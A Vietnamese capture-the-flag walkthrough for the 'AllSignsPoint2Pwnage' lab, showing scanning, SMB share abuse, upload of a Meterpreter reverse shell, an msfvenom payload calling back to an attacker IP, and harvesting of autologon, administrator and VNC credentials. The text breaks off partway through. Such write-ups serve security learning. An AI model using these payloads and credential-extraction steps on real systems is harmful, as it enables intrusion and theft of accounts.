AllSignsPoint2Pwnage
A room that contains a rushed Windows based Digital Sign system. Can you breach it?
Initial Reconnaissance
Chúng ta thêm dòng sau vào file /etc/hosts để ánh xạ domain name.
10.10.19.171 pwnage.thmService Scanning
┌──(hungnt㉿kali)-[~]
└─$ rustscan -a pwnage.thm -r 1-65535 -- -A
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 127 Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_11-14-20 04:26PM 173 notice.txt
80/tcp open http syn-ack ttl 127 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11
|_http-favicon: Unknown favicon MD5: 6EB4A43CB64C97F76562AF703893C8FD
|_http-title: Simple Slide Show
| http-methods:
| Supported Methods: GET POST OPTIONS HEAD TRACE
|_ Potentially risky methods: TRACE
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
443/tcp open ssl/http syn-ack ttl 127 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after: 2019-11-08T23:48:47
| MD5: a0a4:4cc9:9e84:b26f:9e63:9f9e:d229:dee0
| SHA-1: b023:8c54:7a90:5bfa:119c:4e8b:acca:eacf:3649:1ff6
| -----BEGIN CERTIFICATE-----
| MIIBnzCCAQgCCQC1x1LJh4G1AzANBgkqhkiG9w0BAQUFADAUMRIwEAYDVQQDEwls
| b2NhbGhvc3QwHhcNMDkxMTEwMjM0ODQ3WhcNMTkxMTA4MjM0ODQ3WjAUMRIwEAYD
| VQQDEwlsb2NhbGhvc3QwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMEl0yfj
| 7K0Ng2pt51+adRAj4pCdoGOVjx1BmljVnGOMW3OGkHnMw9ajibh1vB6UfHxu463o
| J1wLxgxq+Q8y/rPEehAjBCspKNSq+bMvZhD4p8HNYMRrKFfjZzv3ns1IItw46kgT
| gDpAl1cMRzVGPXFimu5TnWMOZ3ooyaQ0/xntAgMBAAEwDQYJKoZIhvcNAQEFBQAD
| gYEAavHzSWz5umhfb/MnBMa5DL2VNzS+9whmmpsDGEG+uR0kM1W2GQIdVHHJTyFd
| aHXzgVJBQcWTwhp84nvHSiQTDBSaT6cQNQpvag/TaED/SEQpm0VqDFwpfFYuufBL
| vVNbLkKxbK2XwUvu0RxoLdBMC/89HqrZ0ppiONuQ+X2MtxE=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
|_http-favicon: Unknown favicon MD5: 6EB4A43CB64C97F76562AF703893C8FD
|_http-title: Simple Slide Show
| http-methods:
| Supported Methods: GET POST OPTIONS HEAD TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11
445/tcp open microsoft-ds? syn-ack ttl 127
3389/tcp open ssl/ms-wbt-server? syn-ack ttl 127
| rdp-ntlm-info:
| Target_Name: DESKTOP-997GG7D
| NetBIOS_Domain_Name: DESKTOP-997GG7D
| NetBIOS_Computer_Name: DESKTOP-997GG7D
| DNS_Domain_Name: DESKTOP-997GG7D
| DNS_Computer_Name: DESKTOP-997GG7D
| Product_Version: 10.0.18362
|_ System_Time: 2025-09-04T10:37:10+00:00
|_ssl-date: 2025-09-04T10:37:24+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DESKTOP-997GG7D
| Issuer: commonName=DESKTOP-997GG7D
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-09-03T10:24:37
| Not valid after: 2026-03-05T10:24:37
| MD5: 6ecf:6e1a:23a8:dbec:0ca6:0c68:38d9:4c0f
| SHA-1: 7461:2fbc:7bb9:7f91:25d3:9cb3:518a:2fcf:549d:4b0a
| -----BEGIN CERTIFICATE-----
| MIIC4jCCAcqgAwIBAgIQLBKeeyIjQYdBIlVjWseOPjANBgkqhkiG9w0BAQsFADAa
| MRgwFgYDVQQDEw9ERVNLVE9QLTk5N0dHN0QwHhcNMjUwOTAzMTAyNDM3WhcNMjYw
| MzA1MTAyNDM3WjAaMRgwFgYDVQQDEw9ERVNLVE9QLTk5N0dHN0QwggEiMA0GCSqG
| SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDWJ8IWf8yJJQTUdnc7WMpHhZW3MlFtkWC/
| k+/MJ3gUbmvHmT8wMtCp+Tp2N8wDE/9A01OToYLqt8XKrLbXWY7hpt0EOSgJIwua
| SkDTxOVOUZvpEC01UEmxwyTMThGMfc7CYxeYiXROWeMEShJOHDOv6FCI95LjduN1
| //p1EEOntPpdBJENEKAmSpXDRP+q/i4YpqxGpNge+pzH5OGrrOZztlG7zK/tOXEq
| iu7tSQ6AmI702nXh3nfaiYSqSHSEi0V3TXvHQF/Hn3s+awMMhaBW4e3X8xwpN6XO
| W5eQRI36ZuJYv5EPhihWcaD4C6ofXlNzC67fbg8vBh42WLQXj0lZAgMBAAGjJDAi
| MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIEMDANBgkqhkiG9w0BAQsF
| AAOCAQEAkIAMQr0c3HWAdVDIkclGi5ouotA8uROMxmsDa6TaSP/tcSahnlzJvxKn
| 1RPBFTvILdEscTINLVlbzYFD6zf8swn6oNrLEAplVmWNCR8k9Z/LqvmFgGyjiBxO
| 6QCyEXIpfkKdZDylYmMK8j7RLEIGJj/bje78yLR2G0sUsiSf5lnAFGE5xT37P+mq
| 1ccLVmh6vXErxYqgoFlqc4wE3p18/BFht0kGQ7u7sE60nG/lFX37wAo6sEbQzSrr
| T0huYKtkTqEpXccI0JMFG6KxJxdpHCwZ4HXJ9iQL8iiJMDL4c8PXq2OqwoKhGJyJ
| hIQauOnlShs/xIg5V/W+sdL5hRYn2A==
|_-----END CERTIFICATE-----
5040/tcp open unknown syn-ack ttl 127
5900/tcp open vnc syn-ack ttl 127 VNC (protocol 3.8)
| vnc-info:
| Protocol version: 3.8
| Security types:
| Ultra (17)
|_ VNC Authentication (2)
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49677/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49684/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows 10 (96%), Microsoft Windows 10 1709 - 21H2 (96%), Microsoft Windows 10 21H1 (96%), Microsoft Windows 10 1903 (95%), Microsoft Windows Longhorn (95%), Microsoft Windows 10 1803 (94%), Microsoft Windows 10 Education Edition 1909 (94%), Microsoft Windows 10 20H2 - 21H1 (94%), Microsoft Windows 10 21H2 (94%), Microsoft Windows 10 1709 - 1803 (93%)
No exact OS matches for host (test conditions non-ideal).Từ kết quả scan, ta thấy target có các dịch vụ như sau, FTP chạy trên port 21 cho phép Anonymous login và có file notice.txt. Web server Apache 2.4.46 (Win64, PHP/7.4.11) chạy trên port 80 và 443 với TLS. Các dịch vụ Windows như msrpc (135, 445, 496xx), netbios-ssn (139), và RDP (3389) cũng được bật, trong đó RDP cho thấy máy chạy Windows 10. Ngoài ra còn có VNC (5900) với authentication và một số cổng RPC khác.
FTP 21
Từ kết quả Nmap scan, dịch vụ FTP cho phép anonymous read và có một file notice.txt.

Theo nội dung đó, images bây giờ phải là một SMB share và cho phép upload file.
Tiếp theo, chúng ta thử kiểm tra xem có thể upload file trực tiếp lên FTP server hay không, nhưng không được.

HTTP 80
Front Page

Trên trang chính cũng như trong source code không có gì đáng chú ý. Vì vậy, chúng ta tiến hành directory scan bằng công cụ ffuf.
Directory Enumeration
┌──(hungnt㉿kali)-[~]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://pwnage.thm/FUZZ -r -e .php,.txt,.html -fc 403 -t 100
/images

Đây chắc chắn là SMB share images và chúng ta có thể kết nối đến nó thông qua dịch vụ SMB.
/content.php

Không có gì đặc biệt.
/img

Không có gì.
/xampp

Hoàn toàn không có gì.
/dashboard
Trong phần dashboard, chúng ta thấy thông báo từ XAMPP rằng đã được cài đặt thành công. Ta thấy rằng có thể truy cập PHPInfo ở góc trên bên phải:



phpinfo cho thấy một số cấu hình nguy hiểm:
allow_url_open: Cho phép các hàm PHP nhưfile_get_contents()vàinclude()tải file từ xa qua URL. Nếu attacker kiểm soát được input của các hàm này, họ có thể load file độc hại.display_errors: Lỗi được hiển thị trực tiếp trên trình duyệt, có thể tiết lộ thông tin nhạy cảm.expose_php: PHP để lộ version trong HTTP response headers giống như ta đã thấy tại kết quả của Nmap scan.
/phpmyadmin

Trang phpMyAdmin này từ chối truy cập (forbidden).
SMB 139, 445
Đầu tiên, chúng ta chạy các Nmap scripts để enumerate SMB server, nhưng không thu được kết quả gì đáng chú ý.
┌──(hungnt㉿kali)-[~]
└─$ sudo nmap -p139,445 -sV --script=smb-enum* -v pwnage.thm
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
445/tcp open microsoft-ds?
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsVì vậy, chúng ta chuyển sang sử dụng enum4linux, đầu tiên với null username.

Kết quả cho thấy enum4linux không cung cấp thêm thông tin nào hữu ích khi không dùng username. Vậy ta thử với anonymous:
┌──(hungnt㉿kali)-[~]
└─$ enum4linux -u 'anonymous' -a pwnage.thm
Kết quả cho thấy chúng ta có thể enumerate các share trên server và phát hiện ra 3 share không phải mặc định. Tuy nhiên, chỉ có 2 trong số đó cho phép listing.
Tiếp tục, chúng ta chạy lại enum4linux nhưng lần này dùng user khác là guest:
┌──(hungnt㉿kali)-[~]
└─$ enum4linux -u 'guest' -a pwnage.thm

Lần này, chúng ta xác định được một user trên target system là sign.
Screenshot bị mất!
/image

Khi liệt kê nội dung trong share image, chúng ta xác nhận đây chính là share đã được chuyển từ FTP server sang. Quan trọng hơn, chúng ta có thể upload tùy ý file lên share này và sau đó truy cập trực tiếp từ trình duyệt, như trước đó khi truy cập thư mục /image.

/Users

┌──(hungnt㉿kali)-[~]
└─$ smbclient -N -U anonymous -c 'recurse; ls' //pwnage.thm/UsersNgược lại, share Users không cho phép upload file. Sau khi thử list đệ quy toàn bộ nội dung, chúng ta cũng không thấy điều gì đáng chú ý.
Meterpreter Shell as sign
Bây giờ, chúng ta tạo một PHP Meterpreter reverse shell payload bằng msfvenom và upload nó vào share images.

Sau khi thiết lập listener, và chạy payload qua trình duyệt, chúng ta thành công nhận được một reverse shell connection dưới quyền user sign.


user_flag.txt
meterpreter > pwd
C:\xampp\htdocs\images
meterpreter > cd C:/Users
meterpreter > dir
Listing: C:\Users
=================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 8192 dir 2020-11-14 21:11:54 +0700 Administrator
040777/rwxrwxrwx 4096 dir 2025-09-04 20:50:20 +0700 All Users
040555/r-xr-xr-x 8192 dir 2020-11-14 20:05:37 +0700 Default
040555/r-xr-xr-x 8192 dir 2020-11-14 20:05:37 +0700 Default User
040555/r-xr-xr-x 4096 dir 2020-11-14 20:14:27 +0700 Public
100666/rw-rw-rw- 174 fil 2019-03-19 11:49:34 +0700 desktop.ini
040777/rwxrwxrwx 8192 dir 2021-01-27 01:19:41 +0700 sign
meterpreter > cd sign/Desktop
meterpreter > dir
Listing: C:\Users\sign\Desktop
==============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 1446 fil 2020-11-14 20:15:41 +0700 Microsoft Edge.lnk
100666/rw-rw-rw- 282 fil 2021-01-27 01:28:03 +0700 desktop.ini
100666/rw-rw-rw- 52 fil 2020-11-14 21:32:10 +0700 user_flag.txt
meterpreter > cat user_flag.txt
thm{48u51n9_5y573m_func710n4117y_f02_fun_4nd_p20f17}Attempt to Upgrade The Shell
Tại thời điểm này, chúng ta đã có thể chạy các file thực thi trên target system chứ không chỉ giới hạn ở PHP. Do đó, chúng ta thử upload một Windows Meterpreter reverse shell payload để không bị ràng buộc bởi PHP payload nữa.
Đầu tiên, kiểm tra phiên bản Windows đang chạy:
meterpreter > sysinfo
Computer : DESKTOP-997GG7D
OS : Windows NT DESKTOP-997GG7D 10.0 build 18362 (Windows 10) AMD64
Meterpreter : php/windowsĐây là Windows 10 64-bit, version 1903, build 18362. Từ thông tin này, chúng ta generate payload thích hợp và upload lên target machine.
┌──(hungnt㉿kali)-[~/Desktop]
└─$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.11.148.16 LPORT=53 --platform windows -f exe -o image.exe
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: image.exemeterpreter > upload ~/Desktop/image.exe
[*] Uploading : /home/hungnt/Desktop/image.exe -> image.exe
[*] Uploaded -1.00 B of 7.00 KiB (-0.01%): /home/hungnt/Desktop/image.exe -> image.exe
[*] Completed : /home/hungnt/Desktop/image.exe -> image.exe
Tuy nhiên, sau khi chạy payload thì file bị xóa ngay lập tức và không có kết nối nào được thiết lập. Điều này cho thấy nhiều khả năng Windows Defender đang bật và đã phát hiện payload.
Vì vậy, chúng ta có thể không thể thoát khỏi giới hạn của PHP payload và buộc phải enumerate thủ công máy này, thay vì upload script tự động.

Ngoài ra, chúng ta cũng không spawn được shell nào hoạt động ổn định, cả shell thường lẫn session Meterpreter đều bị terminate. Tốt nhất là tiếp tục khai thác qua Meterpreter shell đã có.
Autologon Credentials
Chúng ta tiến hành thu thập autologon credentials của user hiện tại.


Đầu tiên ta thử sử dụng Metasploit module, nhưng không thành công. Vì vậy, chúng ta phải làm thủ công bằng command execute mà Meterpreter shell cung cấp.

Do không thể lấy toàn bộ output trực tiếp, chúng ta xuất kết quả ra file rồi đọc lại sau.
meterpreter > execute -f "reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" > C:\\Users\\sign\\autologon.txt"
Process 3924 created.
meterpreter > cd C:/Users/sign/
meterpreter > cat autologon.txt
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
AutoRestartShell REG_DWORD 0x1
Background REG_SZ 0 0 0
CachedLogonsCount REG_SZ 10
DebugServerCommand REG_SZ no
DisableBackButton REG_DWORD 0x1
EnableSIHostIntegration REG_DWORD 0x1
ForceUnlockLogon REG_DWORD 0x0
LegalNoticeCaption REG_SZ
LegalNoticeText REG_SZ
PasswordExpiryWarning REG_DWORD 0x5
PowerdownAfterShutdown REG_SZ 0
PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16}
ReportBootOk REG_SZ 1
Shell REG_SZ explorer.exe
ShellCritical REG_DWORD 0x0
ShellInfrastructure REG_SZ sihost.exe
SiHostCritical REG_DWORD 0x0
SiHostReadyTimeOut REG_DWORD 0x0
SiHostRestartCountLimit REG_DWORD 0x0
SiHostRestartTimeGap REG_DWORD 0x0
Userinit REG_SZ C:\Windows\system32\userinit.exe,
VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled REG_SZ 0
scremoveoption REG_SZ 0
DisableCAD REG_DWORD 0x1
LastLogOffEndTimePerfCounter REG_QWORD 0x18054b5f1
ShutdownFlags REG_DWORD 0x13
DisableLockWorkstation REG_DWORD 0x0
EnableFirstLogonAnimation REG_DWORD 0x1
AutoLogonSID REG_SZ S-1-5-21-201290883-77286733-747258586-1001
LastUsedUsername REG_SZ .\sign
DefaultUsername REG_SZ .\sign
DefaultPassword REG_SZ gKY1uxHLuU1zzlI4wwdAcKUw35TPMdv7PAEE5dAFbV2NxpPJVO7eeSH
AutoAdminLogon REG_DWORD 0x1
ARSOUserConsent REG_DWORD 0x0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AlternateShells
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserDefaults
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\VolatileUserMgrKeyChúng ta đã lấy được autologon password của user sign.
gKY1uxHLuU1zzlI4wwdAcKUw35TPMdv7PAEE5dAFbV2NxpPJVO7eeSHPassword Discovery
meterpreter > ls
Listing: C:\xampp
=================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 0 dir 2020-11-14 21:23:19 +0700 anonymous
040777/rwxrwxrwx 4096 dir 2020-11-14 21:23:27 +0700 apache
100777/rwxrwxrwx 436 fil 2013-06-07 18:15:44 +0700 apache_start.bat
100777/rwxrwxrwx 176 fil 2020-11-14 21:25:02 +0700 apache_stop.bat
100777/rwxrwxrwx 9439 fil 2013-03-30 19:29:00 +0700 catalina_service.bat
100777/rwxrwxrwx 4478 fil 2019-10-22 20:36:02 +0700 catalina_start.bat
100777/rwxrwxrwx 4180 fil 2019-10-22 20:35:42 +0700 catalina_stop.bat
040777/rwxrwxrwx 0 dir 2020-11-14 21:25:00 +0700 cgi-bin
040777/rwxrwxrwx 4096 dir 2020-11-14 21:23:25 +0700 contrib
100777/rwxrwxrwx 2731 fil 2020-11-14 21:23:16 +0700 ctlscript.bat
100777/rwxrwxrwx 78 fil 2013-03-30 19:29:00 +0700 filezilla_setup.bat
100777/rwxrwxrwx 150 fil 2013-06-07 18:15:48 +0700 filezilla_start.bat
100777/rwxrwxrwx 149 fil 2013-06-07 18:15:48 +0700 filezilla_stop.bat
040777/rwxrwxrwx 4096 dir 2020-11-14 21:41:16 +0700 htdocs
040777/rwxrwxrwx 0 dir 2020-11-14 21:23:16 +0700 img
040777/rwxrwxrwx 4096 dir 2020-11-14 21:24:59 +0700 install
100777/rwxrwxrwx 299 fil 2019-08-27 21:01:55 +0700 killprocess.bat
040777/rwxrwxrwx 12288 dir 2020-11-14 21:23:18 +0700 licenses
040777/rwxrwxrwx 0 dir 2020-11-14 21:23:18 +0700 locale
040777/rwxrwxrwx 0 dir 2020-11-14 21:23:18 +0700 mailoutput
040777/rwxrwxrwx 4096 dir 2020-11-14 21:23:26 +0700 mailtodisk
100777/rwxrwxrwx 136 fil 2013-06-07 18:15:48 +0700 mercury_start.bat
100777/rwxrwxrwx 60 fil 2013-06-07 18:15:48 +0700 mercury_stop.bat
040777/rwxrwxrwx 0 dir 2020-11-14 21:23:16 +0700 mysql
100777/rwxrwxrwx 471 fil 2019-06-03 18:39:00 +0700 mysql_start.bat
100777/rwxrwxrwx 256 fil 2020-11-14 21:25:02 +0700 mysql_stop.bat
100666/rw-rw-rw- 824 fil 2017-03-13 18:04:44 +0700 passwords.txt
040777/rwxrwxrwx 12288 dir 2020-11-14 21:25:00 +0700 php
100666/rw-rw-rw- 792 fil 2020-11-14 21:24:16 +0700 properties.ini
100666/rw-rw-rw- 7499 fil 2020-10-14 13:40:34 +0700 readme_de.txt
100666/rw-rw-rw- 7369 fil 2020-10-14 13:40:34 +0700 readme_en.txt
100777/rwxrwxrwx 60928 fil 2013-03-30 19:29:00 +0700 service.exe
100777/rwxrwxrwx 1255 fil 2013-03-30 19:29:00 +0700 setup_xampp.bat
040777/rwxrwxrwx 4096 dir 2020-11-14 21:23:18 +0700 src
100777/rwxrwxrwx 1671 fil 2019-12-19 00:25:50 +0700 test_php.bat
040777/rwxrwxrwx 0 dir 2020-11-14 21:23:25 +0700 tmp
100666/rw-rw-rw- 132541 fil 2020-11-14 21:25:20 +0700 uninstall.dat
100777/rwxrwxrwx 12499105 fil 2020-11-14 21:25:20 +0700 uninstall.exe
040777/rwxrwxrwx 0 dir 2020-11-14 21:23:19 +0700 webdav
100777/rwxrwxrwx 3368448 fil 2019-06-05 19:10:40 +0700 xampp-control.exe
100666/rw-rw-rw- 1201 fil 2021-02-01 23:27:55 +0700 xampp-control.ini
100666/rw-rw-rw- 2390 fil 2021-02-01 23:27:55 +0700 xampp-control.log
100777/rwxrwxrwx 1084 fil 2020-11-14 21:23:26 +0700 xampp_shell.bat
100777/rwxrwxrwx 118784 fil 2013-03-30 19:29:00 +0700 xampp_start.exe
100777/rwxrwxrwx 118784 fil 2013-03-30 19:29:00 +0700 xampp_stop.exe
meterpreter > cat passwords.txt
### XAMPP Default Passwords ###
1) MySQL (phpMyAdmin):
User: root
Password:
(means no password!)
2) FileZilla FTP:
[ You have to create a new user on the FileZilla Interface ]
3) Mercury (not in the USB & lite version):
Postmaster: Postmaster (postmaster@localhost)
Administrator: Admin (admin@localhost)
User: newuser
Password: wampp
4) WEBDAV:
User: xampp-dav-unsecure
Password: ppmax2011
Attention: WEBDAV is not active since XAMPP Version 1.7.4.
For activation please comment out the httpd-dav.conf and
following modules in the httpd.conf
LoadModule dav_module modules/mod_dav.so
LoadModule dav_fs_module modules/mod_dav_fs.so
Please do not forget to refresh the WEBDAV authentification (users and passwords).Trong thư mục C:\xampp\, file password.txt lưu trữ default credentials cho MySQL và một số dịch vụ khác. Chúng ta cần lưu lại thông tin này vì có thể hữu ích về sau.
Tiếp tục, chúng ta tìm MySQL binary để thử authenticate với default credentials.
meterpreter > cd mysql
meterpreter > ls
Listing: C:\xampp\mysql
=======================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 0 dir 2020-11-14 21:23:16 +0700 scripts
meterpreter >
meterpreter > cd scripts
meterpreter > ls
Listing: C:\xampp\mysql\scripts
===============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100777/rwxrwxrwx 596 fil 2020-11-14 21:23:17 +0700 ctl.bat
meterpreter > cat ctl.bat
@echo off
rem START or STOP Services
rem ----------------------------------
rem Check if argument is STOP or START
if not ""%1"" == ""START"" goto stop
"C:\xampp\mysql\bin\mysqld" --defaults-file="C:\xampp\mysql\bin\my.ini" --standalone
if errorlevel 1 goto error
goto finish
:stop
cmd.exe /C start "" /MIN call "C:\xampp\killprocess.bat" "mysqld.exe"
if not exist "C:\xampp\mysql\data\%computername%.pid" goto finish
echo Delete %computername%.pid ...
del "C:\xampp\mysql\data\%computername%.pid"
goto finish
:error
echo MySQL could not be started
:finish
exitTiếp tục, chúng ta tìm MySQL binary để thử authenticate với default credentials. Tuy nhiên, trong thư mục mysql không có data hay bin. Chỉ có một script, nhưng không mang lại giá trị gì.
Chúng ta thử download log của Apache và grep để tìm username hoặc password, nhưng kết quả không có gì đáng chú ý.
meterpreter > ls
Listing: C:\xampp\apache\logs
=============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 78572 fil 2021-02-01 23:23:10 +0700 access.log
100666/rw-rw-rw- 30291 fil 2025-09-04 20:49:20 +0700 error.log
100666/rw-rw-rw- 6 fil 2025-09-04 20:49:17 +0700 httpd.pid
100666/rw-rw-rw- 3146 fil 2020-08-04 18:54:24 +0700 install.log
100666/rw-rw-rw- 0 fil 2020-11-14 21:36:27 +0700 ssl_request.log
meterpreter > download access.log
[*] Downloading: access.log -> /home/hungnt/Desktop/access.log
[*] Downloaded 76.73 KiB of 76.73 KiB (100.0%): access.log -> /home/hungnt/Desktop/access.log
[*] Completed : access.log -> /home/hungnt/Desktop/access.log
meterpreter > download error.log
[*] Downloading: error.log -> /home/hungnt/Desktop/error.log
[*] Downloaded 29.58 KiB of 29.58 KiB (100.0%): error.log -> /home/hungnt/Desktop/error.log
[*] Completed : error.log -> /home/hungnt/Desktop/error.log┌──(hungnt㉿kali)-[~/Desktop]
└─$ cat access.log | grep "user\|pass"
┌──(hungnt㉿kali)-[~/Desktop]
└─$ cat error.log | grep "user\|pass"Khi chuyển sang root của ổ C:\, chúng ta nhận thấy thư mục Installs. Đây có lẽ là share Installs$ mà trước đó chúng ta phát hiện bằng enum4linux, vốn không cho phép listing.
meterpreter > dir
Listing: C:\
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 4096 dir 2021-01-27 01:10:38 +0700 $Recycle.Bin
040555/r-xr-xr-x 4096 dir 2020-11-14 22:35:50 +0700 Documents and Settings
040777/rwxrwxrwx 4096 dir 2020-11-14 22:37:41 +0700 Installs
040777/rwxrwxrwx 0 dir 2021-01-27 01:25:31 +0700 PerfLogs
040555/r-xr-xr-x 8192 dir 2021-02-02 01:36:59 +0700 Program Files
040555/r-xr-xr-x 4096 dir 2021-02-01 23:27:58 +0700 Program Files (x86)
040777/rwxrwxrwx 4096 dir 2025-09-04 20:50:20 +0700 ProgramData
040777/rwxrwxrwx 0 dir 2020-11-14 20:05:50 +0700 Recovery
040777/rwxrwxrwx 4096 dir 2020-11-14 20:10:13 +0700 System Volume Information
040555/r-xr-xr-x 4096 dir 2020-11-14 22:35:50 +0700 Users
040777/rwxrwxrwx 16384 dir 2021-02-02 01:46:23 +0700 Windows
100666/rw-rw-rw- 19659 fil 2021-01-27 01:18:55 +0700 WindowsDCtranscript.txt
hiberfil.sys
040777/rwxrwxrwx 0 dir 2020-11-14 22:29:29 +0700 inetpub
pagefile.sys
swapfile.sys
040777/rwxrwxrwx 12288 dir 2021-01-27 01:19:38 +0700 xamppBên trong thư mục này có installation guide, một số script, file thực thi, và cả file cấu hình của dịch vụ VNC.
meterpreter > cd Installs
meterpreter > dir
Listing: C:\Installs
====================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 548 fil 2020-11-14 22:40:34 +0700 Install Guide.txt
100777/rwxrwxrwx 800 fil 2020-11-14 22:19:22 +0700 Install_www_and_deploy.bat
100777/rwxrwxrwx 339096 fil 2020-11-14 20:59:49 +0700 PsExec.exe
100777/rwxrwxrwx 3129968 fil 2020-11-14 21:00:55 +0700 UltraVNC_1_2_40_X64_Setup.exe
040777/rwxrwxrwx 0 dir 2020-11-14 21:28:27 +0700 simepleslide
100666/rw-rw-rw- 182 fil 2020-11-14 21:01:01 +0700 simepleslide.zip
100777/rwxrwxrwx 147 fil 2020-11-14 22:14:39 +0700 startup.bat
100666/rw-rw-rw- 1292 fil 2020-11-14 21:43:50 +0700 ultravnc.ini
100777/rwxrwxrwx 162450672 fil 2020-11-14 20:59:59 +0700 xampp-windows-x64-7.4.11-0-VC15-installer.exe
meterpreter > cat "Install Guide.txt"
1) Disble Windows Firewall
2) Disable Defender ( it sees our remote install tools as hack tools )
3) Set the Admin password to the same as the setup script
4) RunAs Administrator on the setup scirpt
5) Share out the images directory as images$ to keep hidden
6) Reboot
7) Check and fix launch of firefox
8) Check VNC access
9) Advise customer of IP to point other smart devices to http://thismachine/
10) Advise customer of the file share \\thismachine\images$
11) Remove these files as they contain passwords used with other customers.
meterpreter > cat Install_www_and_deploy.bat
@echo off
REM Shop Sign Install Script
cd C:\Installs
psexec -accepteula -nobanner -u administrator -p RCYCc3GIjM0v98HDVJ1KOuUm4xsWUxqZabeofbbpAss9KCKpYfs2rCi xampp-windows-x64-7.4.11-0-VC15-installer.exe --disable-components xampp_mysql,xampp_filezilla,xampp_mercury,xampp_tomcat,xampp_perl,xampp_phpmyadmin,xampp_webalizer,xampp_sendmail --mode unattended --launchapps 1
xcopy C:\Installs\simepleslide\src\* C:\xampp\htdocs\
move C:\xampp\htdocs\index.php C:\xampp\htdocs\index.php_orig
copy C:\Installs\simepleslide\src\slide.html C:\xampp\htdocs\index.html
mkdir C:\xampp\htdocs\images
UltraVNC_1_2_40_X64_Setup.exe /silent
copy ultravnc.ini "C:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini" /y
copy startup.bat "c:\programdata\Microsoft\Windows\Start Menu\Programs\Startup\"
pause
meterpreter > cat ultravnc.ini
[ultravnc]
passwd=B3A8F2D8BEA2F1FA70
passwd2=5AB2CDC0BADCAF13F1
[admin]
UseRegistry=0
SendExtraMouse=1
Secure=0
MSLogonRequired=0
NewMSLogon=0
DebugMode=0
Avilog=0
path=C:\Program Files\uvnc bvba\UltraVNC
accept_reject_mesg=
DebugLevel=0
DisableTrayIcon=0
rdpmode=0
noscreensaver=0
LoopbackOnly=0
UseDSMPlugin=0
AllowLoopback=1
AuthRequired=1
ConnectPriority=1
DSMPlugin=
AuthHosts=
DSMPluginConfig=
AllowShutdown=1
AllowProperties=1
AllowInjection=0
AllowEditClients=1
FileTransferEnabled=0
FTUserImpersonation=1
BlankMonitorEnabled=1
BlankInputsOnly=0
DefaultScale=1
primary=1
secondary=0
SocketConnect=1
HTTPConnect=1
AutoPortSelect=1
PortNumber=5900
HTTPPortNumber=5800
IdleTimeout=0
IdleInputTimeout=0
RemoveWallpaper=0
RemoveAero=0
QuerySetting=2
QueryTimeout=10
QueryDisableTime=0
QueryAccept=0
QueryIfNoLogon=1
InputsEnabled=1
LockSetting=0
LocalInputsDisabled=0
EnableJapInput=0
